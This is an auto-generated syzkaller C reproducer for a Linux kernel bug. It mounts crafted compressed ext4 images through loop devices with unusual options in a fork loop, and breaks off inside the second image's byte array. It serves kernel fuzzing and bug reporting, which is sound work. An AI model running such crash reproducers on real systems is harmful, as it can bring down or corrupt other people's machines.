// https://syzkaller.appspot.com/bug?id=5aec015dd369890b4c3e0590d03585f88d9b1b2d // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_ioctl #define __NR_ioctl 29 #endif #ifndef __NR_memfd_create #define __NR_memfd_create 279 #endif #ifndef __NR_mmap #define __NR_mmap 222 #endif #ifndef __NR_openat #define __NR_openat 56 #endif static unsigned long long procid; static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } //% This code is derived from puff.{c,h}, found in the zlib development. The //% original files come with the following copyright notice: //% Copyright (C) 2002-2013 Mark Adler, all rights reserved //% version 2.3, 21 Jan 2013 //% This software is provided 'as-is', without any express or implied //% warranty. In no event will the author be held liable for any damages //% arising from the use of this software. //% Permission is granted to anyone to use this software for any purpose, //% including commercial applications, and to alter it and redistribute it //% freely, subject to the following restrictions: //% 1. The origin of this software must not be misrepresented; you must not //% claim that you wrote the original software. If you use this software //% in a product, an acknowledgment in the product documentation would be //% appreciated but is not required. //% 2. Altered source versions must be plainly marked as such, and must not be //% misrepresented as being the original software. //% 3. This notice may not be removed or altered from any source distribution. //% Mark Adler madler@alumni.caltech.edu //% BEGIN CODE DERIVED FROM puff.{c,h} #define MAXBITS 15 #define MAXLCODES 286 #define MAXDCODES 30 #define MAXCODES (MAXLCODES + MAXDCODES) #define FIXLCODES 288 struct puff_state { unsigned char* out; unsigned long outlen; unsigned long outcnt; const unsigned char* in; unsigned long inlen; unsigned long incnt; int bitbuf; int bitcnt; jmp_buf env; }; static int puff_bits(struct puff_state* s, int need) { long val = s->bitbuf; while (s->bitcnt < need) { if (s->incnt == s->inlen) longjmp(s->env, 1); val |= (long)(s->in[s->incnt++]) << s->bitcnt; s->bitcnt += 8; } s->bitbuf = (int)(val >> need); s->bitcnt -= need; return (int)(val & ((1L << need) - 1)); } static int puff_stored(struct puff_state* s) { s->bitbuf = 0; s->bitcnt = 0; if (s->incnt + 4 > s->inlen) return 2; unsigned len = s->in[s->incnt++]; len |= s->in[s->incnt++] << 8; if (s->in[s->incnt++] != (~len & 0xff) || s->in[s->incnt++] != ((~len >> 8) & 0xff)) return -2; if (s->incnt + len > s->inlen) return 2; if (s->outcnt + len > s->outlen) return 1; for (; len--; s->outcnt++, s->incnt++) { if (s->in[s->incnt]) s->out[s->outcnt] = s->in[s->incnt]; } return 0; } struct puff_huffman { short* count; short* symbol; }; static int puff_decode(struct puff_state* s, const struct puff_huffman* h) { int first = 0; int index = 0; int bitbuf = s->bitbuf; int left = s->bitcnt; int code = first = index = 0; int len = 1; short* next = h->count + 1; while (1) { while (left--) { code |= bitbuf & 1; bitbuf >>= 1; int count = *next++; if (code - count < first) { s->bitbuf = bitbuf; s->bitcnt = (s->bitcnt - len) & 7; return h->symbol[index + (code - first)]; } index += count; first += count; first <<= 1; code <<= 1; len++; } left = (MAXBITS + 1) - len; if (left == 0) break; if (s->incnt == s->inlen) longjmp(s->env, 1); bitbuf = s->in[s->incnt++]; if (left > 8) left = 8; } return -10; } static int puff_construct(struct puff_huffman* h, const short* length, int n) { int len; for (len = 0; len <= MAXBITS; len++) h->count[len] = 0; int symbol; for (symbol = 0; symbol < n; symbol++) (h->count[length[symbol]])++; if (h->count[0] == n) return 0; int left = 1; for (len = 1; len <= MAXBITS; len++) { left <<= 1; left -= h->count[len]; if (left < 0) return left; } short offs[MAXBITS + 1]; offs[1] = 0; for (len = 1; len < MAXBITS; len++) offs[len + 1] = offs[len] + h->count[len]; for (symbol = 0; symbol < n; symbol++) if (length[symbol] != 0) h->symbol[offs[length[symbol]]++] = symbol; return left; } static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode, const struct puff_huffman* distcode) { static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258}; static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0}; static const short dists[30] = { 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577}; static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13}; int symbol; do { symbol = puff_decode(s, lencode); if (symbol < 0) return symbol; if (symbol < 256) { if (s->outcnt == s->outlen) return 1; if (symbol) s->out[s->outcnt] = symbol; s->outcnt++; } else if (symbol > 256) { symbol -= 257; if (symbol >= 29) return -10; int len = lens[symbol] + puff_bits(s, lext[symbol]); symbol = puff_decode(s, distcode); if (symbol < 0) return symbol; unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]); if (dist > s->outcnt) return -11; if (s->outcnt + len > s->outlen) return 1; while (len--) { if (dist <= s->outcnt && s->out[s->outcnt - dist]) s->out[s->outcnt] = s->out[s->outcnt - dist]; s->outcnt++; } } } while (symbol != 256); return 0; } static int puff_fixed(struct puff_state* s) { static int virgin = 1; static short lencnt[MAXBITS + 1], lensym[FIXLCODES]; static short distcnt[MAXBITS + 1], distsym[MAXDCODES]; static struct puff_huffman lencode, distcode; if (virgin) { lencode.count = lencnt; lencode.symbol = lensym; distcode.count = distcnt; distcode.symbol = distsym; short lengths[FIXLCODES]; int symbol; for (symbol = 0; symbol < 144; symbol++) lengths[symbol] = 8; for (; symbol < 256; symbol++) lengths[symbol] = 9; for (; symbol < 280; symbol++) lengths[symbol] = 7; for (; symbol < FIXLCODES; symbol++) lengths[symbol] = 8; puff_construct(&lencode, lengths, FIXLCODES); for (symbol = 0; symbol < MAXDCODES; symbol++) lengths[symbol] = 5; puff_construct(&distcode, lengths, MAXDCODES); virgin = 0; } return puff_codes(s, &lencode, &distcode); } static int puff_dynamic(struct puff_state* s) { static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; int nlen = puff_bits(s, 5) + 257; int ndist = puff_bits(s, 5) + 1; int ncode = puff_bits(s, 4) + 4; if (nlen > MAXLCODES || ndist > MAXDCODES) return -3; short lengths[MAXCODES]; int index; for (index = 0; index < ncode; index++) lengths[order[index]] = puff_bits(s, 3); for (; index < 19; index++) lengths[order[index]] = 0; short lencnt[MAXBITS + 1], lensym[MAXLCODES]; struct puff_huffman lencode = {lencnt, lensym}; int err = puff_construct(&lencode, lengths, 19); if (err != 0) return -4; index = 0; while (index < nlen + ndist) { int symbol; int len; symbol = puff_decode(s, &lencode); if (symbol < 0) return symbol; if (symbol < 16) lengths[index++] = symbol; else { len = 0; if (symbol == 16) { if (index == 0) return -5; len = lengths[index - 1]; symbol = 3 + puff_bits(s, 2); } else if (symbol == 17) symbol = 3 + puff_bits(s, 3); else symbol = 11 + puff_bits(s, 7); if (index + symbol > nlen + ndist) return -6; while (symbol--) lengths[index++] = len; } } if (lengths[256] == 0) return -9; err = puff_construct(&lencode, lengths, nlen); if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1])) return -7; short distcnt[MAXBITS + 1], distsym[MAXDCODES]; struct puff_huffman distcode = {distcnt, distsym}; err = puff_construct(&distcode, lengths + nlen, ndist); if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1])) return -8; return puff_codes(s, &lencode, &distcode); } static int puff(unsigned char* dest, unsigned long* destlen, const unsigned char* source, unsigned long sourcelen) { struct puff_state s = { .out = dest, .outlen = *destlen, .outcnt = 0, .in = source, .inlen = sourcelen, .incnt = 0, .bitbuf = 0, .bitcnt = 0, }; int err; if (setjmp(s.env) != 0) err = 2; else { int last; do { last = puff_bits(&s, 1); int type = puff_bits(&s, 2); err = type == 0 ? puff_stored(&s) : (type == 1 ? puff_fixed(&s) : (type == 2 ? puff_dynamic(&s) : -1)); if (err != 0) break; } while (!last); } *destlen = s.outcnt; return err; } //% END CODE DERIVED FROM puff.{c,h} #define ZLIB_HEADER_WIDTH 2 static int puff_zlib_to_file(const unsigned char* source, unsigned long sourcelen, int dest_fd) { if (sourcelen < ZLIB_HEADER_WIDTH) return 0; source += ZLIB_HEADER_WIDTH; sourcelen -= ZLIB_HEADER_WIDTH; const unsigned long max_destlen = 132 << 20; void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0); if (ret == MAP_FAILED) return -1; unsigned char* dest = (unsigned char*)ret; unsigned long destlen = max_destlen; int err = puff(dest, &destlen, source, sourcelen); if (err) { munmap(dest, max_destlen); errno = -err; return -1; } if (write(dest_fd, dest, destlen) != (ssize_t)destlen) { munmap(dest, max_destlen); return -1; } return munmap(dest, max_destlen); } static int setup_loop_device(unsigned char* data, unsigned long size, const char* loopname, int* loopfd_p) { int err = 0, loopfd = -1; int memfd = syscall(__NR_memfd_create, "syzkaller", 0); if (memfd == -1) { err = errno; goto error; } if (puff_zlib_to_file(data, size, memfd)) { err = errno; goto error_close_memfd; } loopfd = open(loopname, O_RDWR); if (loopfd == -1) { err = errno; goto error_close_memfd; } if (ioctl(loopfd, LOOP_SET_FD, memfd)) { if (errno != EBUSY) { err = errno; goto error_close_loop; } ioctl(loopfd, LOOP_CLR_FD, 0); usleep(1000); if (ioctl(loopfd, LOOP_SET_FD, memfd)) { err = errno; goto error_close_loop; } } close(memfd); *loopfd_p = loopfd; return 0; error_close_loop: close(loopfd); error_close_memfd: close(memfd); error: errno = err; return -1; } static void reset_loop_device(const char* loopname) { int loopfd = open(loopname, O_RDWR); if (loopfd == -1) { return; } if (ioctl(loopfd, LOOP_CLR_FD, 0)) { } close(loopfd); } static long syz_mount_image(volatile long fsarg, volatile long dir, volatile long flags, volatile long optsarg, volatile long change_dir, volatile unsigned long size, volatile long image) { unsigned char* data = (unsigned char*)image; int res = -1, err = 0, need_loop_device = !!size; char* mount_opts = (char*)optsarg; char* target = (char*)dir; char* fs = (char*)fsarg; char* source = NULL; char loopname[64]; if (need_loop_device) { int loopfd; memset(loopname, 0, sizeof(loopname)); snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid); if (setup_loop_device(data, size, loopname, &loopfd) == -1) return -1; close(loopfd); source = loopname; } mkdir(target, 0777); char opts[256]; memset(opts, 0, sizeof(opts)); if (strlen(mount_opts) > (sizeof(opts) - 32)) { } strncpy(opts, mount_opts, sizeof(opts) - 32); if (strcmp(fs, "iso9660") == 0) { flags |= MS_RDONLY; } else if (strncmp(fs, "ext", 3) == 0) { bool has_remount_ro = false; char* remount_ro_start = strstr(opts, "errors=remount-ro"); if (remount_ro_start != NULL) { char after = *(remount_ro_start + strlen("errors=remount-ro")); char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1); has_remount_ro = ((before == '\0' || before == ',') && (after == '\0' || after == ',')); } if (strstr(opts, "errors=panic") || !has_remount_ro) strcat(opts, ",errors=continue"); } else if (strcmp(fs, "xfs") == 0) { strcat(opts, ",nouuid"); } else if (strncmp(fs, "gfs2", 4) == 0 && (strstr(opts, "errors=panic") || strstr(opts, "debug"))) { strcat(opts, ",errors=withdraw"); } res = mount(source, target, fs, flags, opts); if (res == -1) { err = errno; goto error_clear_loop; } res = open(target, O_RDONLY | O_DIRECTORY); if (res == -1) { err = errno; goto error_clear_loop; } if (change_dir) { res = chdir(target); if (res == -1) { err = errno; } } error_clear_loop: if (need_loop_device) reset_loop_device(loopname); errno = err; return res; } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void reset_loop() { char buf[64]; snprintf(buf, sizeof(buf), "/dev/loop%llu", procid); int loopfd = open(buf, O_RDWR); if (loopfd != -1) { ioctl(loopfd, LOOP_CLR_FD, 0); close(loopfd); } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); write_file("/proc/self/oom_score_adj", "1000"); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter = 0; for (;; iter++) { reset_loop(); int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { sleep_ms(10); if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; if (current_time_ms() - start < 5000) continue; kill_and_wait(pid, &status); break; } } } uint64_t r[1] = {0xffffffffffffffff}; void execute_one(void) { intptr_t res = 0; if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } // syz_mount_image$ext4 arguments: [ // fs: ptr[in, buffer] { // buffer: {65 78 74 34 00} (length 0x5) // } // dir: ptr[in, buffer] { // buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8) // } // flags: mount_flags = 0x0 (8 bytes) // opts: ptr[in, fs_options[ext4_options]] { // fs_options[ext4_options] { // elems: array[fs_opt_elem[ext4_options]] { // fs_opt_elem[ext4_options] { // elem: union ext4_options { // nombcache: buffer: {6e 6f 6d 62 63 61 63 68 65} (length 0x9) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // usrquota: buffer: {75 73 72 71 75 6f 74 61} (length 0x8) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // nogrpid: buffer: {6e 6f 67 72 70 69 64} (length 0x7) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // nouid32: buffer: {6e 6f 75 69 64 33 32} (length 0x7) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // nojournal_checksum: buffer: {6e 6f 6a 6f 75 72 6e 61 6c 5f 63 // 68 65 63 6b 73 75 6d} (length 0x12) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // debug_want_extra_isize: fs_opt["debug_want_extra_isize", // fmt[hex, int32]] { // name: buffer: {64 65 62 75 67 5f 77 61 6e 74 5f 65 78 74 72 // 61 5f 69 73 69 7a 65} (length 0x16) eq: const = 0x3d (1 // bytes) val: int32 = 0x3a (18 bytes) // } // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // quota: buffer: {71 75 6f 74 61} (length 0x5) // } // comma: const = 0x2c (1 bytes) // } // } // common: array[fs_opt_elem[fs_options_common]] { // } // null: const = 0x0 (1 bytes) // } // } // chdir: int8 = 0x1 (1 bytes) // size: len = 0x47a (8 bytes) // img: ptr[in, buffer] { // buffer: (compressed buffer with length 0x47a) // } // ] // returns fd_dir memcpy((void*)0x20000040, "ext4\000", 5); memcpy((void*)0x20000000, "./file1\000", 8); memcpy((void*)0x20000080, "nombcache", 9); *(uint8_t*)0x20000089 = 0x2c; memcpy((void*)0x2000008a, "usrquota", 8); *(uint8_t*)0x20000092 = 0x2c; memcpy((void*)0x20000093, "nogrpid", 7); *(uint8_t*)0x2000009a = 0x2c; memcpy((void*)0x2000009b, "nouid32", 7); *(uint8_t*)0x200000a2 = 0x2c; memcpy((void*)0x200000a3, "nojournal_checksum", 18); *(uint8_t*)0x200000b5 = 0x2c; memcpy((void*)0x200000b6, "debug_want_extra_isize", 22); *(uint8_t*)0x200000cc = 0x3d; sprintf((char*)0x200000cd, "0x%016llx", (long long)0x3a); *(uint8_t*)0x200000df = 0x2c; memcpy((void*)0x200000e0, "quota", 5); *(uint8_t*)0x200000e5 = 0x2c; *(uint8_t*)0x200000e6 = 0; memcpy( (void*)0x200006c0, "\x78\x9c\xec\xdb\xcb\x8f\x14\xc5\x1f\x00\xf0\x6f\xf7\x3e\x80\x1f\x8f\xe5" "\x87\xf8\x00\x51\x57\x89\xc9\x46\xe3\x2e\xbb\xa0\x72\xf0\xa2\xd1\xc4\x18" "\x8c\x26\x7a\xc0\xe3\x3a\x3b\x90\x0d\x03\x6b\xd8\xd5\x08\x12\x59\x8c\xf1" "\x64\x62\x48\xf4\x4c\x3c\x1a\xfd\x0b\xbc\x19\x13\xa3\x9e\x4c\xb8\x7a\xf2" "\x64\x48\x88\x72\x01\x3c\xad\xe9\x9e\x6e\x98\x1d\x66\x78\xb8\x33\xcc\xb2" "\xf3\xf9\x24\x3d\x53\xd5\x5d\x3d\x55\x35\xd5\x8f\xea\xaa\x99\x00\xfa\xd6" "\x68\xf6\x92\x44\x6c\x8a\x88\xdf\x23\x62\xa4\x1e\x5d\x9e\x60\xb4\xfe\x76" "\xe5\xd2\xa9\xca\xd5\x4b\xa7\x2a\x49\x2c\x2d\xbd\xf5\x57\x92\xa7\xbb\x7c" "\xe9\x54\xa5\x4c\x5a\xee\xb7\xb1\x88\x8c\xa5\x11\xe9\xa7\x49\x91\xc9\x72" "\xf3\x27\x4e\x1e\x99\xae\xd5\xaa\xc7\x8b\xf8\xc4\xc2\xd1\xf7\x26\xe6\x4f" "\x9c\x7c\xe6\x83\xa3\xd3\x87\xab\x87\xab\xc7\xa6\xf6\xef\xdf\xb7\x77\xf2" "\xf9\xe7\xa6\x9e\xed\x48\x3d\xb3\x7a\x5d\xde\xf9\xf1\xdc\xae\x1d\xaf\xbe" "\x73\xf6\xf5\xca\xc1\xb3\xef\xfe\xf2\x5d\x56\xde\x4d\xc5\xf6\xc6\x7a\x74" "\xca\x68\x56\xf1\xbf\x97\x72\xcd\xdb\x9e\xec\x74\x66\x3d\xb6\xb9\x21\x9c" "\x0c\xf6\xb0\x20\xdc\x91\x81\x88\xc8\x9a\x6b\x28\x3f\xff\x47\x62\x20\xae" "\x37\xde\x48\xbc\xf2\x49\x4f\x0b\x07\x74\x55\x76\x6f\x5a\xd7\x7e\xf3\xe2" "\x12\xb0\x86\x25\xd1\xeb\x12\x00\xbd\x51\xde\xe8\xb3\xe7\xdf\x72\xb9\x4b" "\x5d\x8f\x55\xe1\xe2\x8b\xf5\x07\xa0\xac\xde\x57\x8a\xa5\xbe\x65\x30\xd2" "\x22\xcd\x50\xd3\xf3\x6d\x27\x8d\x46\xc4\xc1\xc5\x7f\xce\x65\x4b\x74\x69" "\x1c\x02\x00\xa0\xd1\xe7\x95\xaf\x0e\x0c\x47\xc4\x47\x57\xbf\x7d\x2d\xeb" "\x7b\x8c\x44\x44\x39\x1e\xf4\x40\xfe\xfa\x47\xfe\xba\xa5\x98\x43\xd9\x1a" "\x11\xff\x8f\x88\x6d\x11\x71\x5f\x44\x6c\x8f\x88\xfb\x8b\xb4\x0f\x46\xc4" "\x43\x2b\x2c\xcf\x8d\xfd\x9f\xf4\xc2\x0a\x3f\xf2\xa6\xb2\xfe\xdf\x0b\xc5" "\xdc\xd6\xf2\xfe\x5f\xd9\xfb\x8b\xad\x03\x45\x6c\x73\x5e\xff\xa1\xe4\xd0" "\x6c\xad\xba\x27\xd6\xe5\xdf\xc9\x58\x0c\xad\xcb\xe2\x93\x37\xc9\xe3\x87" "\x97\xcf\x7f\xd1\x6e\x5b\x63\xff\x2f\x5b\xb2\xfc\xcb\xbe\x60\x51\x8e\x0b" "\x83\x4d\x03\x74\x33\xd3\x0b\xd3\x79\xa7\xb4\x03\x2e\x9e\x89\xd8\x39\xd8" "\xaa\xfe\xc9\xb5\x99\x80\x24\x22\x76\x44\xc4\xce\x3b\xfb\xe8\x2d\x65\x60" "\xf6\xa9\x6f\x76\xb5\x4b\xd4\xba\xfe\x97\xcf\xdd\x56\x0e\x1d\x98\x67\x5a" "\xfa\x3a\xab\xde\x62\x56\xff\xc5\x68\xaa\x7f\x29\x69\x9c\x9f\x9c\xbd\x61" "\x7e\x72\x62\x7d\xd4\xaa\x7b\x26\xea\x47\x45\x2b\xbf\xfe\xf6\xd9\x9b\xed" "\xf2\xbf\x75\xfb\x77\xd7\xc5\x6a\xfd\xbd\xa1\xfd\x9b\x93\x6c\x4d\x1a\xe7" "\x6b\xe7\x3b\x9b\xff\x7f\x3c\xfe\xd3\xe1\xe4\xed\x7c\x9e\x79\xb8\x58\xf7" "\xe1\xf4\xc2\xc2\xf1\xc9\x88\xe1\xe4\x40\x1e\x5f\xb6\x7e\xea\xfa\xbe\x65" "\xbc\x4c\x9f\x1d\xff\x63\xbb\x5b\x9f\xff\xdb\x8a\x7d\xb2\xfa\x3f\x1c\x11" "\xd9\x41\xfc\x48\x44\x3c\x1a\x11\x8f\x15\x65\x7f\x3c\x22\x9e\x88\x88\xdd" "\x37\xa9\xe3\xcf\x2f\xdd\xba\xfe\x91\xf6\xa8\xfd\xcf\x44\xcc\xb4\xbc\xfe" "\x5d\x3b\xfe\x9b\xda\xff\xce\x03\x03\x47\x7e\xfa\xbe\x5d\xfe\xb7\xd7\xfe" "\xfb\xf2\xd0\x58\xb1\x26\xbf\xfe\xdd\x42\xab\xe2\x64\x97\x8b\xe6\x02\xae" "\xe4\xbb\x03\x00\x00\x80\x7b\x45\x9a\xff\x06\x3e\x49\xc7\xaf\x85\xd3\x74" "\x7c\xbc\xfe\x1b\xfe\xed\xf1\xbf\xb4\x36\x37\xbf\xf0\xf4\xa1\xb9\xf7\x8f" "\xcd\xc4\xf9\x2d\xf5\xf1\xcf\xb4\x1c\xe9\x1a\x29\xc6\x43\x6b\xb3\xb5\xea" "\x64\xb2\x58\x7c\x62\x7d\x7c\x74\xaa\x18\x2b\x2e\xc7\x4b\xf7\x16\xe3\xc6" "\x5f\x0e\x6c\xc8\xe3\xe3\x95\xb9\xda\x4c\x8f\xeb\x0e\xfd\x6e\x63\x9b\xf3" "\x3f\xf3\xe7\x40\xaf\x4b\x07\x74\xd9\x86\x96\x6b\xa7\x86\xef\x7a\x41\x80" "\x1e\x68\x9e\x47\x4f\x97\x47\x4f\xbf\x11\x2e\x06\xb0\x56\xf9\xbf\x36\xf4" "\xaf\xf2\xfc\x6f\xf3\xbc\xdf\xf8\x3f\x18\x60\x8d\x71\xff\x87\xfe\xd5\xea" "\xfc\x3f\xdd\x14\x37\x17\x00\x6b\x93\xfb\x3f\xf4\x2f\xe7\x3f\xf4\xa9\xf4" "\xc7\x15\xec\xec\xa9\x00\xee\x75\xee\xff\xd0\x97\x56\xf2\xbf\xfe\x2e\x06" "\xd6\xaf\x8e\x62\xf4\x26\xb0\x5a\x1b\x25\x0f\x44\x94\x81\x74\x55\x94\x47" "\xa0\x4b\x81\x5e\x5f\x99\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x3a\xe3\xdf\x00\x00\x00\xff\xff\x8f\x73\xe7\x6a", 1146); syz_mount_image(/*fs=*/0x20000040, /*dir=*/0x20000000, /*flags=*/0, /*opts=*/0x20000080, /*chdir=*/1, /*size=*/0x47a, /*img=*/0x200006c0); // syz_mount_image$ext4 arguments: [ // fs: ptr[in, buffer] { // buffer: {65 78 74 34 00} (length 0x5) // } // dir: ptr[in, buffer] { // buffer: {2e 2f 66 69 6c 65 32 00} (length 0x8) // } // flags: mount_flags = 0x0 (8 bytes) // opts: ptr[in, fs_options[ext4_options]] { // fs_options[ext4_options] { // elems: array[fs_opt_elem[ext4_options]] { // fs_opt_elem[ext4_options] { // elem: union ext4_options { // auto_da_alloc: buffer: {61 75 74 6f 5f 64 61 5f 61 6c 6c 6f // 63} (length 0xd) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // nodiscard: buffer: {6e 6f 64 69 73 63 61 72 64} (length 0x9) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // grpid: buffer: {67 72 70 69 64} (length 0x5) // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // stripe: fs_opt["stripe", fmt[hex, int32]] { // name: buffer: {73 74 72 69 70 65} (length 0x6) // eq: const = 0x3d (1 bytes) // val: int32 = 0x10 (18 bytes) // } // } // comma: const = 0x2c (1 bytes) // } // fs_opt_elem[ext4_options] { // elem: union ext4_options { // jqfmt_vfsold: buffer: {6a 71 66 6d 74 3d 76 66 73 6f 6c 64} // (length 0xc) // } // comma: const = 0x2c (1 bytes) // } // } // common: array[fs_opt_elem[fs_options_common]] { // } // null: const = 0x0 (1 bytes) // } // } // chdir: int8 = 0xfb (1 bytes) // size: len = 0x50c (8 bytes) // img: ptr[in, buffer] { // buffer: (compressed buffer with length 0x50c) // } // ] // returns fd_dir memcpy((void*)0x20000180, "ext4\000", 5); memcpy((void*)0x20000340, "./file2\000", 8); memcpy((void*)0x20000100, "auto_da_alloc", 13); *(uint8_t*)0x2000010d = 0x2c; memcpy((void*)0x2000010e, "nodiscard", 9); *(uint8_t*)0x20000117 = 0x2c; memcpy((void*)0x20000118, "grpid", 5); *(uint8_t*)0x2000011d = 0x2c; memcpy((void*)0x2000011e, "stripe", 6); *(uint8_t*)0x20000124 = 0x3d; sprintf((char*)0x20000125, "0x%016llx", (long long)0x10); *(uint8_t*)0x20000137 = 0x2c; memcpy((void*)0x20000138, "jqfmt=vfsold", 12); *(uint8_t*)0x20000144 = 0x2c; *(uint8_t*)0x20000145 = 0; memcpy( (void*)0x20000b40, "\x78\x9c\xec\xdd\xcf\x6f\x23\x57\x1d\x00\xf0\xaf\x9d\x38\x71\xb2\x69\x93" "\x96\x1e\x00\x41\xbb\x6c\x0b\x0b\x5a\xad\x93\x78\xdb\xa8\xea\x01\xca\x09" "\x21\x54\x09\xd1\x23\x95\xb6\x21\xf1\x46\x51\xec\x38\x8a\x9d\xd2\x84\x3d" "\xa4\x67\xae\x48\x54\xe2\x04\x47\xfe\x00\xce\x3d\x71\xe7\x82\xe0\xc6\xa5" "\x1c\x90\xf8\x11\x81\x1a\x24\x0e\x46\x33\x1e\x27\xde\xac\xdd\x98\x26\xb1" "\x43\xfc\xf9\x48\xa3\x99\x37\x6f\xd6\xdf\xf7\x36\x3b\xef\xad\xbf\x8e\xe7" "\x05\x30\xb6\x6e\x47\xc4\x61\x44\x4c\x45\xc4\xbb\x11\x31\x9f\x9d\xcf\x65" "\x5b\xbc\xd9\xde\x92\xeb\x3e\x39\x7a\xbc\x76\x7c\xf4\x78\x2d\x17\xad\xd6" "\xdb\x7f\xcf\xa5\xf5\xc9\xb9\xe8\xfa\x33\x89\x5b\xd9\x6b\x16\x23\xe2\x07" "\xdf\x89\xf8\x51\xee\xe9\xb8\x8d\xfd\x83\xad\xd5\x6a\xb5\xb2\x9b\x95\x17" "\x9b\xb5\x9d\xc5\xc6\xfe\xc1\xfd\xcd\xda\xea\x46\x65\xa3\xb2\x5d\x2e\xaf" "\x2c\xaf\x2c\xbd\xfe\xe0\xb5\xf2\xa5\xf5\xf5\xa5\xda\x54\x76\xf4\xe5\x8f" "\x7f\x77\xf8\x8d\x9f\x24\xcd\x9a\xcb\xce\x74\xf7\xe3\x32\xb5\xbb\x5e\x38" "\x89\x93\x98\x8c\x88\xef\x5d\x45\xb0\x11\x98\xc8\xfa\x33\x35\xea\x86\xf0" "\x99\xe4\x23\xe2\xf9\x88\xb8\x93\xde\xff\xf3\x31\x91\xfe\x34\x01\x80\x9b" 